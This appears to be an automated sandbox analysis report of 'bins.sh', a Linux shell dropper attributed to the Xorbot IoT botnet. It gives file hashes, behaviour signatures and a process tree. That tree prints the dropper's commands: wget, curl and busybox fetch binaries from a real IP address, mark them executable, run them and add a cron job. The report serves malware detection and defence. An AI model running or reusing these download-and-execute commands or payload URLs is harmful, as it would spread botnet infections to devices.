Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2024, 02:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    437a00555767f8c3201fad3f0c8593c4

  • SHA1

    4e504c7b16ed9c01b17acd57643c6aa2e1dc8996

  • SHA256

    12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44

  • SHA512

    3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de

  • SSDEEP

    192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Writes file to tmp directory
          PID:758
        • /bin/chmod
          chmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • File and Directory Permissions Modification
          PID:761
        • /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          ./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
          • Executes dropped EXE
          PID:762
        • /bin/rm
          rm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
          2⤵
            PID:766
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Writes file to tmp directory
            PID:767
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:778
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Writes file to tmp directory
            PID:789
          • /bin/chmod
            chmod 777 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • File and Directory Permissions Modification
            PID:791
          • /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            ./bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:792
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:794
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:795
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:796
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:797
              • /bin/rm
                rm bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                  2⤵
                    PID:802
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                    2⤵
                      PID:803
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                      2⤵
                      • Writes file to tmp directory
                      PID:804
                    • /bin/chmod
                      chmod 777 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                      2⤵
                      • File and Directory Permissions Modification
                      PID:808
                    • /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                      ./8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                      2⤵
                      • Executes dropped EXE
                      PID:809
                    • /bin/rm
                      rm 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
                      2⤵
                        PID:811
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                        2⤵
                          PID:812
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                          2⤵
                            PID:813
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                            2⤵
                            • Writes file to tmp directory
                            PID:814
                          • /bin/chmod
                            chmod 777 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                            2⤵
                            • File and Directory Permissions Modification
                            PID:815
                          • /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                            ./dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                            2⤵
                            • Executes dropped EXE
                            PID:816
                          • /bin/rm
                            rm dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
                            2⤵
                              PID:818
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                              2⤵
                                PID:819
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
                                2⤵
                                  PID:820

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX

                                      Filesize

                                      117KB

                                      MD5

                                      849fa04ef88a8e8de32cb2e8538de5fe

                                      SHA1

                                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                      SHA256

                                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                      SHA512

                                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                    • /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /var/spool/cron/crontabs/tmp.dxByyu

                                      Filesize

                                      210B

                                      MD5

                                      f745b17452f553dffa67e4b275d9eb9f

                                      SHA1

                                      46d6dbd8614e8e99e5010b5166271399ea87db2c

                                      SHA256

                                      05b47d0d996a5af14fa6f36ef1867467e636484913967076da3ef7cf05193bab

                                      SHA512

                                      71a0dc15edf1e269467d63c2fa540fc5f663d661ffc06b7044071f745199f843e02d0fb1104ef5673392cd856d24ed938a1c019df6f5c3a97269aa7dddc52fa6